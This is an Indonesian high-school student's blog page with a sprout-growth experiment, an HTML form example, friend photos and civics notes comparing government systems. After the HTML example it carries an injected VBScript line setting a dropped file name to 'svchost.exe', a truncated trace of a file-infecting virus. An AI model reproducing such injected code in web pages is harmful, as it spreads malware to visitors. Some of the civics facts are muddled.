Mengenai Saya

Foto saya
Nama :Ade Ayu Saputri sekolah:SMA Negeri 1 Palembang Jabatan:Bendahara Kelas :XII.IA.2

Senin, 25 Juli 2011

langkah-langkah metode ilmiah

Pengamatan kecambah:
1.1 Perumusan Masalah
Apakah ada perbedaannya antara tumbuhan kecambah yang tumbuh di tempat yang terang dan kecambah yang tumbuh di tempat gelap dan apakah intensitas cahaya dapat mempengaruhi tumbuh kembangnya suatu kecambah dengan cepat atau sebaliknya.

1.2 Penyusunan kerangka berfikir
Dengan melihat jangka waktu hasil pertumbuhan kecambah dari hari ke hari

1.3 Penarikan hipotesis
Pertumbuhan kecambah di tempat terang akan lebih lambat dibandingkan pertumbuhan di tempat gelap karena pertumbuhan kecambah ditempat terang dihambat oleh sinar matahari sedangkan pertumbuhan kecambah ditempat gelap lebih cepat karena pertumbuhan tersebut tidak mendapat sianar matahari(tidak dihambat oleh sinar matahari)

1.4 Pengujian hipotesis
Dengan melakukan percobaan yaitu dengan merendam biji kacang hijau selama dua hari.Kemudian sesudah direndam angkat biji kacang hijau,masukkan kedalam gelas plastik yang berisi kapas basah,kemudian diletakan massing-masing di gelas pelastik,satu ditempat yang terdapat cahaya dan satunya lagi di tempat yang tidak terdapat cahaya,lalu disetiap harinya tanaman tersebut diberi air,agar tanaman tumbuh dengan subur.setelah itu baru melakukan pengamatan dengan menggunakan penggaris.setelah beberapa hari kecambah yang tumbuh ditempat terang tumbuh lebih lambat,sedangkan kecambah yang tumbuh ditempat gelap tumbuhnya lebih cepat.
1.5 Penarikan kesimpulanena
Setelah dilakukan percobaan dan di amati ternyata kecambah yang tumbuh ditempat terang,akan tumbuh lambat daunnya yang muncul di antara kotiledon dengan cepat tumbuh hijau dan relatif tebal,batangnya kuat,akarnya tumbuh banyak karena kecambah ini mendapatkan sinar matahari langsung,kecambah mengandung seikit air,banyak mengandung gula,daunya lebih tebal,jaringan palisadenya berlapis-lapis,lapisan kutikula menebal,sehingga daun menjadi lebih tebal dan sempit,daun ini melakukan respirasi dan fotosintesis lebih cepat.
sedangkan kecambah yang berada di tempat gelap ternyata tumbuh lebih cepat,tetapi daunnya kecil tipis kekuningan,batangnya lemah dan airnya tidak banyak.Karena kecambah ini tidak mendapat sinar matahari kecambah mengandung air lebih banyak,zat gulanya sedikit,jaringan mesofil meningkat jumlahnya sehingga daun menjadi lebih lebar.Tumbuhan yang tumbuh pada lingkungan yang kurang cahaya akan tetap tumbuh dan berkembang normal apabila transpirasi berjalan lebih lambat dari fotosintesis.

Minggu, 24 Juli 2011

<html>
<head>
<style type="text/css">
<!--
.style5 {
    color: #CC0000;
    font-weight: bold;
}
.style7 {font-size: 16px}
.style8 {
    color: orange;
    font-size: 16px;
}
.style9 {color: #CC0000; font-weight: bold; font-size: 16px; }
-->
</style>
<body style="font-family:Curlz MT;background color:red" background="ade.jpg">
<title>BAYOR</title></head>
<body>
<form>
<center>
<hr>
<pre><span class="style5">
<span class="style7">sebelumnya kalian harus log ini terlebih dahulu</span>        :<br></span>
<p style="font-family:;color:blue"><span class="style8"><b>nama</span>    : <INPUT TYPE=TEXT NAME=nama></p>
<p style="font-family:Curlz MT;color:white"><span class="style8">alamat</span>    : <INPUT TYPE=TEXT NAME=alamat></p>
<p style="font-family:Curlz MT;color:black"><span class="style8">email</span>    : <INPUT TYPE=TEXT NAME=email><BR></p></b><span class="style8">
JENIS KELAMIN:</span>
<INPUT TYPE=radio NAME=kelamin value=pria><span class="style8">PRIA</span>
<input type=radio name=kelamin value=wanita><span class="style5">WANITA</span>
</pre>
<p><span class="style9">komentar :</span><span class="style8"><br>
    </TEXTARE NAME=komentar ROWS=10 COLS=50>
  isi komentar
  </span>
    </TEXTARE>
</p>
<p>
  <textarea name="textarea"></textarea>
</p>
<P>
<CENTER><INPUT TYPE="submit"VALUE="send" NAME="kirim">
<INPUT TYPE="reset"VALUE="cancel" NAME=kirim></center>
</form>
</body>
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"

perbandingan indonesia dengan negara lain

  1. 2. Perbandingan Pelaksanaan Sistem Pemerintahan Negara Indonesia dengan Negara Lain
Sistem pemerintahan negara republik Indonesia berdasarkan Undang-Undang Dasar 1945 adalah sistem presidensial kabinet. Dengan sistem pemerintahan tersebut, baik para penyelenggara negara maupun rakyat dan bangsa Indonesia telah merasa sesuai. Sejalan dengan perkembangan dan dinamika politik masyarakat, penyelenggaraan negara dengan sistem presidensial kabinet telah mengalami perubahan dan penyempurnaan hingga sekarang ini.
Berikut ini akan dilihat bagaimana pelaksanaan sistem pemerintahan di negara Indonesia dan perbandingannya dengan negara-negara lain baik yang menerapkan sistem pemerintahan presidensial maupun parlementer.
Perbandingan Sistem Pemerintahan
Negara Indonesia
Negara-negara lain
Setelah Amandemen UUD 1945
  1. Prancis
<  Bentuk pemerintahan adalah republik, dengan sistem peme-rintahan adalah presidensial. <  Kekuasaan eksekutif ada pada Presiden, baik sebagai kepala negara maupun kepala pemerin-tahan.
<  Presiden dan wakilnya dipilih secara langsung oleh rakyat dalam satu paket untuk masa jabatan 2004 – 2009.
<  Kabinet atau menteri diangkat dan diberhentikan oleh presi-den, serta bertanggung jawab kepada presiden.
Parlemen terdiri atas 2 bagian (bikameral), yaitu Dewan Perwakilan Rakyat (DPR) dan Dewan Perwakilan Daerah (DPD).
<  Kekuasaan legislatif ada pada DPR yang memiliki tugas membuat UU dan mengawasi jalannya pemerintahan.
<  Kekuasaan yudikatif dijalankan oleh Mahkamah Agung dan badan peradilan di bawahnya, yaitu pengadilan tinggi dan pengadilan negeri serta sebuah Mahkamah Konstitusi dan Komisi Yudisial.
  • Kedudukan eksekutif (Presiden) kuat, karena dipilih langsung oleh rakyat.
  • Kepala negara dipegang Presiden dengan masa jabatan selama  tujuh tahun.
  • Presiden diberikan wewenang untuk bertindak pada masa darurat dalam menyelesaikan krisis.
  • Jika terjadi pertentangan antara kabinet dengan legislatif, presiden boleh membubarkan legislatif.
  • Jika suatu undang-undang yang telah disetujui legislatif namun tidak disetujui Presiden, maka dapat diajukan langsung kepada rakayat melalui referandum atau diminta pertimbangan dari Majelais Konstitusional.
    • Penerimaan mosi dan interpelasi dipersukar, misalnya sebelum sebuah mosi boleh diajukan dalam sidang badan legislatif, harus didukung oleh 10% dari jumlah anggota badan itu.
Catatan : bahwa sistem pemerintahan yang dikembangkan oleh Perancis ini sebenarnya bukan parlementer murni. Tetapi, pemisahan jabatan kepala negara dan kepala pemerintahan memang menunjukkan ciri parlemenrterisme.
  1. 2. Inggris
  • Kepala negara dipegang oleh Raja/Ratu yang bersifat simbolis dan tidak dapat diganggu gugat.
  • Peraturan perundangan dalam penyelenggaraan negara lebih banyak bersifat konvensi (peraturan tidak tertulis).
  • Kekuasaan pemerintahan berada di tangan Perdana Menteri yang memimpin menteri atau sering disebut Cabinet Government (pemerintahan kabinet). Perdana Menteri mempunyai kekua-saan cukup besar, antara lain : a) memimpin kabinet yang anggotanya telah dipilihnya sendiri, b) membimbing Majelis Rendah, c) menjadi penghubung dengan raja, dan d) memimpin partai mayoritas.
  • Kabinet yang tidak memperoleh kepercayaan dari badan legislatif harus segera meletakkan jabatan.
  • Perdana Menteri sewaktu-waktu dapat mengada-kan pemilihan umum sebelum masa jabatan Parlemen yang lamanya lima tahun berakhir.
    • Hanya ada dua partai besar (Partai Konservatif dan Partai Buruh) sehingga yang menang pemilu (posisi) memperoleh dukungan mayoritas, sedangkan yang kalah menjadi oposisi.
  1. 3. India
  • Badan eksekutif terdiri dari seorang presiden sebagai kepala negara dan menteri-menteri yang dipimpin oleh seorang perdana menteri.
  • Presiden dipilih untuk masa jabatan lima tahun oleh anggota-anggota badan legislatif baik di pusat maupun di negara-negara bagian.
    • Dalam penyelenggaraan pemerintahan, sangat mirip dengan Inggris dengan model Cabinet Government.
    • Pemerintah dapat menyatakan “keadaan darurat” dan pembatasan-pembatasan kegiatan bagi para pelaku politik dan kegiatan media masa agar tidak mengganggu usaha pembangunannya.
  1. 4. Amerika Serikat
  • Badan eksekutif, terdiri dari presiden beserta menteri-menteri yang merupakan pembantunya.
  • Presiden dinamakan “Chief Executif” dengan masa jabatan selama  4 (empat) tahun dan dapat diperpanjang menjadi 8 (delapan) tahun.
  • Presiden sama sekali terpisah dari badan legislatif dan tidak mempengaruhi organisasi dan penye-lenggaraan pekerjaan Konggres.
  • Presiden tidak dapat membubarkan Konggres dan sebaliknya Konggres juga tidak dapat membubar-kan Presiden.
    • Mayoritas undang-undang disiapkan pemerintah dan diajukan dalam Konggres dengan perantaraan anggota separtai dalam Konggres.
    • Presiden memiliki wewenang untuk mem-veto suatu rancangan undang-undang yang telah diteri-ma baik oleh Konggres. Tapi jika rancangan tersebut diterima dengan mayoritas 2/3 dalam setiap majelis, maka veto presiden dianggap batal.
    • Dalam rangka checks and balance, maka presiden di samping boleh memilih menterinya sendiri, tetapi untuk jabatan Hakim Agung dan Duta Besar harus disetujui oleh Senat. Demikian pula untuk setiap perjanjian internasional yang sudah ditan-dangani presiden, harus pula disetujui oleh Senat.
  1. 5. Pakistan
  • Badan eksekutif terdiri dari presiden yang beragama Islam beserta menteri-menterinya.
  • Perdana menteri adalah pembantunya yang tidak boleh merangkap anggota legislatif.
  • Presiden mempunyai wewenang mem-veto rancangan undang-uindang yang telah diterima oleh badan legislatif. Namun veto dapat dibatalkan, jika rancangan undang-undang tersebut diterima oleh mayoritas 2/3 suara.
  • Presiden juga berwenang membubarkan badan legislatif, namun demikian presiden juga harus mengundurkan diri dalam waktu 4 (empat) bulan dan mengadakan pemilihan umum baru.
  • Dalam keadaan darurat, presiden berhak mengeluarkan ordinances yang diajukan kepada legislatif dalam masa paling lama 6 (enam) bulan.
  • Presiden dapat dipecat (impeach) oleh badan legislatif kalau melanggar undang-undang atau berkelakuan buruk dengan ¾ jumlah suara badan legislatif.
Catatan : Sistem presidensial di Pakistan hanya berlangsung berdasarkan UUD 1962 – 1969, dan sekarang kembali ke sistem parlementer kabinet.
  1. 3. Sikap Warga Negara terhadap Pelaksanaan Sistem Pemerintahan Republik Indonesia
Warga negara pada hakikatnya merupakan bagian dari sistem ketatanegaraan . Efektivitas penyelenggaraan negara sangat ditentukan oleh partisipasi warga negaranya. Demikian pula halnya dengan sistem ketatanegaraan yang sedang berlangsung saat ini, dibutuhkan partisipasi, peran serta aktif dari warga negara dalam hal membantu efektivitas dan efisiensi penyelenggaraan negara, khususnya dalam mendukung setiap kebijakanan pemerintah yang akan berdamnpak pada kesejahteraan dan kemakmuran rakyat.
Sistem pemerintahan yang berjalan saat ini adalah sistem pemerintahan presidensial dengan berdasarkan UUD ’45 hasil amandemen keempat. Sistem pemerintahan baru ini mulai berlaku pada tahun 2004. Pelaksanaan pemerintahan dimulai dengan penyelenggaraan pemilu.
Untuk pertama kalinya pemilu tahun 2004 akan memilih 3 kelompok, yaitu:
  1. Memilih presiden dan wakjil presiden dalam satu paket
  2. Memilih anggota DPR dan DPRD
  3. Memilih anggota DPD.
Setelah terbentuk badan eksekutif dan legislatif, badan-badan tersebut akan melaksanakan tugas, kewenangan dan fungsinya masing-masing sesuai dengan UUD 1945. Presiden sebagai kepala pemerintahan membentuk kabinet yang menjalankan pemerintahan sehari-hari. Masa jabatan lembaga-lembaga negara tadi adalah 5 tahun dan sesudah itu dimulai kembali pemerintahan yang baru.
Sistem pemerintahan baru menurut UUD ’45 hasil amandemen ini pada dasarnya untuk menghilangkan kelemahan-kelemahan dari sistem pemerintahan yang lama. Sistem baru ini tetap menggunakan sistem presidensial, tapi telah diadakan perubahan dan pembaharuan agar kesalahan dalam pelaksanaan sistem pemerintahan di masa lalu tak terulang lagi.
Untuk mewujudkan sistem pemerintahan demokratis perlu mendasarkan pada UUD yang demokratis pula. Dengan demikian, amandemen terhadap UUD ’45 yang telah dilakukan bangsa Indonesia merupakan langkah yang sangat penting bagi keseluruhan penyelenggaraan pemerintahan di Indonesia. Jadi, masyarakat patut berbangga dan mendukung sistem pemerintahan ini karena sistem pemerintahan Indonesia dimaksudkan untuk mewujudkan sistem pemerintahan demokratis.
Dengan demikian hal-hal yang harus dilakukan warga negara sebagai sikap peduli terhadap penyelenggaraan negara adalah :
  1. Mendukung setiap kebijakan pemerintah yang berorientasi pada kesejahteraan rakyat
  2. Berpartisipasi aktif pada proses demokratisasi yang dijalankan pemerintah
  3. Memberikan kritik, saran dan masukan yang bersifat konstruktif terhadap kebijakan pemerintah yang kurang berorientasi pada rakyat banyak
  4. Melakukan kontrol sosial pada setiap kebijakan dan program pemerintah yang berorientasi pada pembangunan nasional
  5. Berupaya sekuat tenaga untuk menjadi warga negara yang baik, dengan jalan upaya memperbaiki diri dan meningkatkan kualitas diri dan profesionalisme sehingga mampu menjadi “agent of changes”.

Sabtu, 23 Juli 2011

my friend's and me :D


Nama:Fiska rina Eka Rianti......ini sebangku aku di kelas XI.IA.6
foto ini diambil dari jauh untuk salah satu hadiah pas mami(fiska) ultah hehehehe

this my friend's..kalo dak ado mereka sepi kelas wkwkwkwk
hahahahh.....foto ini diambil pas pelajaran kosong,jado kami beli balon di kantin.heheheheh
di foto ini ada bayor,bella,mami,tria,dan nisya


arrrrgggg...foto ini pas perpisahan kakak kelas XII,kami jadi pengisi acara,yaitu sensu(eksul)...dan perpisahannyo di Novotel
kalo yang ini iseng2 be hahhhh...moto nyo pake kamera della ;)
ini semua anggota seni suara(sensu)..senior dan mega senior

Sistem Pemerintahan 1

Sistem Pemerintahan
Sistem berarti suatu keseluruhan yang terdiri atas beberapa bagian yang mempunyai hubungan fungsional.
Pemerintahan dalam arti luas adalah pemerintah/ lembaga-lembaga Negara yang menjalankan segala tugas pemerintah baik sebagai lembaga eksekutif, legislative maupun yudikatif.
# Pengelompokkan system pemerintahan:
  1. system pemerintahan Presidensial
merupakan system pemerintahan di mana kepala pemerintahan dipegang oleh presiden dan pemerintah tidak bertanggung jawab kepada parlemen (legislative). Menteri bertanggung jawab kepada presiden karena presiden berkedudukan sebagai kepala Negara sekaligus kepala pemerintahan.
Contoh Negara: AS, Pakistan, Argentina, Filiphina, Indonesia.
Ciri-ciri system pemerintahan Presidensial:
1. Pemerintahan Presidensial didasarkan pada prinsip pemisahan kekuasaan.
2. Eksekutif tidak mempunyai kekuasaan untuk menyatu dengan Legislatif.
3. Kabinet bertanggung jawab kepada presiden.
4. eksekutif dipilih melalui pemilu.
  1. system pemerintahan Parlementer
merupakan suatu system pemerintahan di mana pemerintah (eksekutif) bertanggung jawab kepada parlemen. Dalam system pemerintahan ini, parlemen mempunyai kekuasaan yang besar dan mempunyai kewenangan untuk melakukan pengawasan terhadap eksekutif. Menteri dan perdana menteri bertanggung jawab kepada parlemen.
Contoh Negara: Kerajaan Inggris, Belanda, India, Australia, Malaysia.
Ciri-ciri dan syarat system pemerintahan Parlementer:
1. Pemerintahan Parlementer didasarkan pada prinsip pembagian kekuasaan.
2. Adanya tanggung jawab yang saling menguntungkan antara legislatif dengan eksekutif, dan antara presiden dan kabinet.
3. Eksekutif dipilih oleh kepala pemerintahan dengan persetujuan legislatif.
  1. system pemerintahan Campuran
dalam system pemerintahan ini diambil hal-hal yang terbaik dari system pemerintahan Presidensial dan system pemerintahan Parlemen. Selain memiliki presiden sebagai kepala Negara, juga memiliki perdana menteri sebagai kepala pemerintahan.
Contoh Negara: Perancis.
# Pelaksanaan Sistem Pemerintahan Negara Indonesia
  1. Tahun 1945 – 1949
Terjadi penyimpangan dari ketentuan UUD ’45 antara lain:
    1. Berubah fungsi komite nasional Indonesia pusat dari pembantu presiden menjadi badan yang diserahi kekuasaan legislatif dan ikut menetapkan GBHN yang merupakan wewenang MPR.
    2. Terjadinya perubahan sistem kabinet presidensial menjadi kabinet parlementer berdasarkan usul BP – KNIP.
  1. Tahun 1949 – 1950
Didasarkan pada konstitusi RIS. Pemerintahan yang diterapkan saat itu adalah system parlementer cabinet semu (Quasy Parlementary). Sistem Pemerintahan yang dianut pada masa konstitusi RIS bukan cabinet parlementer murni karena dalam system parlementer murni, parlemen mempunyai kedudukan yang sangat menentukan terhadap kekuasaan pemerintah.
  1. Tahun 1950 – 1959
Landasannya adalah UUD ’50 pengganti konstitusi RIS ’49. Sistem Pemerintahan yang dianut adalah parlementer cabinet dengan demokrasi liberal yang masih bersifat semu. Ciri-ciri:
    1. presiden dan wakil presiden tidak dapat diganggu gugat.
    2. Menteri bertanggung jawab atas kebijakan pemerintahan.
    3. Presiden berhak membubarkan DPR.
    4. Perdana Menteri diangkat oleh Presiden.
  1. Tahun 1959 – 1966 (Demokrasi Terpimpin)
Presiden mempunyai kekuasaan mutlak dan dijadikannya alat untuk melenyapkan kekuasaan-kekuasaan yang menghalanginya sehingga nasib parpol ditentukan oleh presiden (10 parpol yang diakui). Tidak ada kebebasan mengeluarkan pendapat.
  1. Tahun 1966 – 1998
Orde baru pimpinan Soeharto lahir dengan tekad untuk melakukan koreksi terpimpin pada era orde lama. Namun lama kelamaan banyak terjadi penyimpangan-penyimpangan. Soeharto mundur pada 21 Mei ’98.
  1. Tahun 1998 – Sekarang (Reformasi)
Pelaksanaan demokrasi pancasila pada era reformasi telah banyak memberikan ruang gerak pada parpol maupun DPR untuk mengawasi pemerintah secara kritis dan dibenarkan untuk unjuk rasa.
# Sistem Pemerintahan menurut UUD ’45 sebelum diamandemen:
Ø Kekuasaan tertinggi diberikan rakyat kepada MPR.
Ø DPR sebagai pembuat UU.
Ø Presiden sebagai penyelenggara pemerintahan.
Ø DPA sebagai pemberi saran kepada pemerintahan.
Ø MA sebagai lembaga pengadilan dan penguji aturan.
Ø BPK pengaudit keuangan.
# Sistem Pemerintahan setelah amandemen (1999 – 2002)
Ø MPR bukan lembaga tertinggi lagi.
Ø Komposisi MPR terdiri atas seluruh anggota DPR ditambah DPD yang dipilih oleh rakyat.
Ø Presiden dan wakil Presiden dipilih langsung oleh rakyat.
Ø Presiden tidak dapat membubarkan DPR.
Ø Kekuasaan Legislatif lebih dominan.
# Perbandingan SisPem Indonesia dengan SisPem Negara Lain
Berdasarkan penjelasan UUD ’45, Indonesia menganut sistem Presidensia. Tapi dalam praktiknya banyak elemen-elemen Sistem Pemerintahan Parlementer. Jadi dapat dikatakan Sistem Pemerintahan Indonesia adalah perpaduan antara Presidensial dan Parlementer.
# kelebihan Sistem Pemerintahan Indonesia
Ø Presiden dan menteri selama masa jabatannya tidak dapat dijatuhkan DPR.
Ø Pemerintah punya waktu untuk menjalankan programnya dengan tidak dibayangi krisis kabinet.
Ø Presiden tidak dapat memberlakukan dan atau membubarkan DPR.
# Kelemahan Sistem Pemerintahan Indonesia
Ø Ada kecenderungan terlalu kuatnya otoritas dan konsentrasi kekuasaan di tangan Presiden.
Ø Sering terjadinya pergantian para pejabat karena adanya hak perogatif presiden.
Ø Pengawasan rakyat terhadap pemerintah kurang berpengaruh.
Ø Pengaruh rakyat terhadap kebijaksanaan politik kurang mendapat perhatian.
# Perbedaan Sistem Pemerintahan Indonesia dan Sistem Pemerintahan Malaysia
  1. Badan Eksekutif
a. Badan Eksekutif Malaysia terletak pada Perdana Menteri sebagai penggerak pemerintahan negara.
b. Badan Eksekutif Indonesia terletak pada Presiden yang mempunyai 2 kedudukan sebagai kepala negara dan kepala pemerintahan.
  1. Badan Legislatif
a. Di Malaysia ada 2 Dewan Utama dalam badan perundangan yaitu Dewan Negara dan Dewan Rakyat yang perannyan membuat undang-undang.
b. Di Indonesia berada di tangan DPR yang perannya membuat undang-undang dengan persetujuan Presiden

PERBANDINGAN SISTEM PEMERINTAHAN ANTARA DUA NEGARA...!!!

PERBANDINGAN SISTEM PEMERINTAHAN ANTARA DUA NEGARA...!!!

Perbandingan antara Sistem Pemerintahan Australia
Dengan Sistem Pemerintahan Amerika Serikat


  • SISTEM PEMERINTAHAN DEMOKRASI
Para pemikir politik mendefinisikan demokrasi dengan pendapat yang berbeda-beda, hal tersebut bisa dikategorikan dalam tiga kelompok, yaitu; kelompok pertama menyatakan bahwa demokrasi merupakan sebuah bentuk pemerintahan umum, kelompok kedua menganggap konsep demokrasi secara luas dan mencari jangkauan untuk memperpanjang bidang ekonomi dan juga sosial. Sedangkan kelompok yang terakhir memegang bahwa demokrasi adalah filsafat kehidupan, dimana menekankan martabat manusia dan memandang semua kehendak individu. Berikut ini akan dijelaskan tentang demokrasi yang mana mengarah kepada pendapat kelompok pertama dari para pemikir politik, yaitu :
- Pemerintahan rakyat.
Bisa dikatakan bahwa demokrasi adalah bentuk pemerintahan dimana rakyat memiliki kekuatan penuh didalam politik, baik secara langsung maupun melalui representatif. Lincoln mendefinisikan demokrasi sebagai pemerintahan rakyat, dari rakyat dan untuk rakyat. Seely mendefinisikan bahwa demokrasi adalah pemerintahan bersama.
- Pemerintahan khalayak ramai.
Menurut pemikir jurusan demokrasi bahwa demokrasi adalah pemerintahan yang besara atau khalayak ramai. Dicey mendefinisikan demokrasi sebagai bentuk pemerintahan, dimana badan yang memerintah didalamnya adalah pergeseran komparatif yang besar dari seluruh populasi. Bryce dalam tulisannya “Kata demokrasi telah dipakai semenjak masanya Herodotus. Untuk menunjukkan bahwa bentuk pemerintahannya terdapat para penguasa yang memiliki kekuatan tetap dan secara legal, tetapi kekuasaan tersebut tidak dipegang oleh kelompok khusus atau oknum- oknum lainnya. Akan tetapi dipegang oleh seluruh komunitas secara keseluruhan.”

  • AMERIKA SERIKAT
Amerika Serikat merupakan negara demokrasi konstitusional dengan sistem three-tier dan institusi kehakiman yang bebas. Negara-negara di Amerika adalah sebuah republik federal yang terdiri dari 50 negara bagian. Kecuali Alaska (utara Kanada) & Hawaii (lautan Pasifik), 48 negara bagian lainnya terletak di Amerika Utara. Terdapat tiga peringkat yaitu nasional, negara bagian dan pemerintahan lokal yang mempunyai badan legislatif serta eksekutif dengan bidang kuasa masing-masing. Negara ini mengunakan sistem persekutuan atau federalisme di mana di negara pusat dan negara bagian berbagi kuasa. Negara pusat berkuasa terhadap beberapa perkara seperti pencetakan mata uang Amerika serta kebijakan pertahanan. Namun, negara-negara bagian berkuasa menentukan hak dan undang-undang masing-masing seperti hak pengguguran bayi dan hukuman maksimal dalam hal undang-undang.
Satu elemen yang kentara di Amerika ialah doktrin pembagian kuasa. Pasal 1-3 dalam Konstitusi Amerika, telah diatur secara terperinci mengenai kuasa-kuasa Negara yang utama yaitu eksekutif, legislatif dan kehakiman. Pemeriksaan dan keseimbangan / Checks and Balances merupakan ciri yang utama dalam negara Amerika (hal ini sangat komprehensif). Sehingga tidak ada satu pun cabang negara yang mempunyai kuasa mutlak untuk mewakili cabang yang lain.
Model pemerintahannya yang demokrasi presidensiil dan memiliki persyaratan konsensus untuk konstitusi, terdapat pula mekanisme veto di antara lembaga-lembaga negara. Misalnya, presiden Amerika Serikat dapat memveto RUU yang diajukan oleh kongres. Serta adanya kecenderungan sistem kepartaian Amerika Serikat yang berbentuk two-party system.Di samping Pemilu untuk pemilihan presiden, ada pula Pemilu paruh waktu, yang diadakan pada pertengahan masa jabatan presiden. Dalam pemilu ini yang dipilih bukanlah presiden melainkan seluruh anggota Dewan Perwakilan dan sepertiga dari semua senator dari tiap negara bagian. Selain negara bagian, ada satu daerah federal dan ada beberapa daerah yang bisa disebut sebagai daerah jajahan.

  • AUSTRALIA
Sistem pemerintahan Australia merupakan sistem yang kompleks. Dimana lembaga-lembaga pentingnya merupakan paduan elemen-elemen tradisi dan model pemerintahan Inggris dan Amerika Serikat seperti Sistem penyelenggaraan pemerintahan Inggris dengan Majelis Perwakilan Rendah, praktek pemerintahan Amerika Serikat dengan senat federal. Undang-Undang Dasar Australia berisi ciri-ciri penting sistem pemerintahan Australia. Pembagian kekuasaan antara Negara Bagian dan Commonwealth (Persemakmuran), Gubernur Jendral mewakili Ratu Inggris. Terdapat Tiga Cabang Pemerintahan di Australia, yakni Cabang Legislatif (Parlemen - Senat dan Majelis Perwakilan Rendah); Eksekutif (Kementrian dan Pejabat Pemerintah); dan Cabang Yudikatif (sistem peradilan hukum).
Badan legislatif berisi parlemen - yakni badan yang mempunyai wewenang legislatif untuk membuat undang-undang. Badan Eksekutif melaksanakan undang-undang yang dibuat oleh badan legislatif, sementara badan yudikatif memastikan berfungsinya pengadilan, dan pengangkatan serta pemberhentian hakim. Fungsi pengadilan ialah menafsirkan semua hukum, termasuk di antaranya Konstitusi Australia, dan menegakkan supremasi hukum. Konstitusi hanya boleh diubah melalui jajak pendapat.
Australia dikenal sebagai negara Monarki Konstitusional. Ini berarti Australia adalah negara yang mempunyai raja atau ratu sebagai kepala negara yang wewenangnya dibatasi oleh Konstitusi atau UUD. Kepala negara Australia ialah Ratu Elizabeth II. Meskipun ia juga adalah Ratu Inggris, jabatan ini sedikit terpisah, baik dalam hukum maupun praktek pemerintahan atau konstitusional. Dalam kenyataannya, Ratu tidak mempunyai peranan apapun dalam sistem politik Australia dan hanya berfungsi sebagai simbol atau hanya sebagai publik figur untuk memobilisasi masyarakat. Di Australia Ratu secara resmi diwakili oleh seorang Gubernur Jenderal yang diangkat oleh Ratu atas usulan Perdana Menteri Australia. Ratu tidak mempunyai peranan apapun dalam tugas keseharian Gubernur Jenderal.
Gubernur Jenderal adalah wakil Ratu Inggris di Australia. Posisinya tidak harus mengikuti arahan, pengawasan ataupun hak veto dari Ratu dan Pemerintah Inggris. Dalam Undang-Undang Dasar atau Konstitusi terdapat wewenang dan tugas Gubernur Jenderal termasuk memanggil, menghentikan sidang badan pembuat undang-undang, dan membubarkan parlemen. Selain itu, Gubernur juga bisa menyetujui rancangan peraturan, mengangkat menteri, menetapkan departemen-departemen dalam pemerintahan, serta mengangkat hakim. Namun, berdasarkan konvensi, Gubernur Jenderal hanya bertindak atas permintaan para Menteri dalam hampir semua permasalahan. Figur yang diangkat untuk posisi Gubernur jenderal dipilih berdasarkan pertimbangan Pemerintah. Semua Gubernur negara bagian melaksanakan peran yang sama di wilayah mereka masing-masing.

  • Pemerintah Lokal
Terdapat sekitar 900 badan pemerintah lokal di Australia. Wewenang pemerintah lokal berbeda untuk setiap negara bagian dan merupakan tanggung jawab pemerintah negara bagian masing-masing. Beberapa badan pemerintah lokal bertanggungjawab menjalankan perusahaan perhubungan / transportasi dan energi. Negara-negara bagian menetapkan besar tarif pajak dan menerima pemasukan dari tingkat pemerintahan yang lebih tinggi. Pemerintah lokal secara khusus ditugaskan untuk menangani perencanaan atau tata daerah, pengawasan izin bangunan, sarana jalan setempat, penyediaan air bersih, saluran pembuangan, pelayanan sampah dan kebersihan serta fasilitas hiburan masyarakat.

  • Pemerintahan Persemakmuran / Federasi atau Pemerintah Pusat
Parlemen tingkat pusat bersifat bikameral, yakni mempunyai dua kamar yaitu House of Representatives atau Majelis Rendah/DPR dan Senat atau Majelis Tinggi. Keduanya bertanggungjawab menetapkan UU berskala nasional seperti perdagangan, perpajakan, imigrasi, kewarganegaraan, jaminan sosial, kerjasama industri dan hubungan luar negeri. Rancangan UU/Peraturan Pemerintah harus disahkan oleh kedua majelis sebelum sebelum menjadi UU/Peraturan Pemerintah. DPR/House of Representatives mengusulkan sebagian besar rancangan UU/Peraturan Pemerintah. Majelis ini beranggotakan 148 anggota yang dipilih melalui pemilu, di mana setiap anggota mewakili sekitar 80.000 suara. Partai politik yang mempunyai kursi terbanyak di majelis rendah berhak membentuk pemerintahan.

  • Pemerintah Negara Bagian dan Teritori
Hal-hal yang tidak diatur oleh Pemerintah Federasi merupakan tanggung jawab Pemerintah Negara Bagian dan Teritori. Setiap negara bagian dan teritori mempunyai parlemen dan peraturan perundang-undangan (akta parlemen) sendiri (yang dapat diamandemen parlemen setempat) tetapi mereka juga tetap terikat konstitusi negara.
Bilamana suatu UU/Peraturan Negara Bagian masih berada di bawah wewenang konstitusional Federasi, maka UU/Peraturan Pemerintah Federasi berlaku di atas wewenang UU/Peraturan negara bagian. Semua Parlemen negara bagian kecuali Queensland, bersifat bikameral yakni mempunyai majelis rendah dan majelis tinggi. Sementara parlemen dari dua teritori (Northern Territory dan Australian Capital Territory) hanya memiliki satu majelis. Pemerintah negara bagian dan teritori menangani masalah kesehatan masyarakat, pendidikan, sarana jalan, pemanfaatan lahan publik, perangkat kepolisian, pemadam kebakaran dan pelayanan ambulans, serta keberadaan pemerintah lokal dalam wilayahnya masing-masing.

  • Hubungan antara Pemerintahan Federal dan Negara Bagian
Pemerintah Federasi dan negara bagian menjalin kerjasama di berbagai bidang, yang secara resmi merupakan tanggung jawab negara bagian dan teritori; seperti pendidikan, perhubungan, kesehatan dan penegakan hukum. Mengenai Pajak pendapatan, hal itu ditarik secara federal dan menimbulkan pendapat yang berbeda di antara semua tingkat pemerintahan negara bagian mengenai akses mendapatkan pemasukan merupakan ciri lama politik Australia.

  • Kelebihan dan kekurangan
Dari data-data singkat mengenai system pemerintahan yang ada Amerika Serikat dan Australia terdapat perbedaan yang sangat signifikan yang jelas terlihat, dimana Amerika Serikat menganut sistem Presidensial dan Australia menganut sistem Parlementer. Dari definisi demokrasi diawal yang menyebutkan bahwa semua kehendak rakyat bisa dipenuhi melalui suara terbanyak terwujudkan dengan sistem pemilu yang ada di kedua Negara tersebut. Melalui perwujudan dan penyampaian aspirasi baik secara langsung maupun tidak langsung.
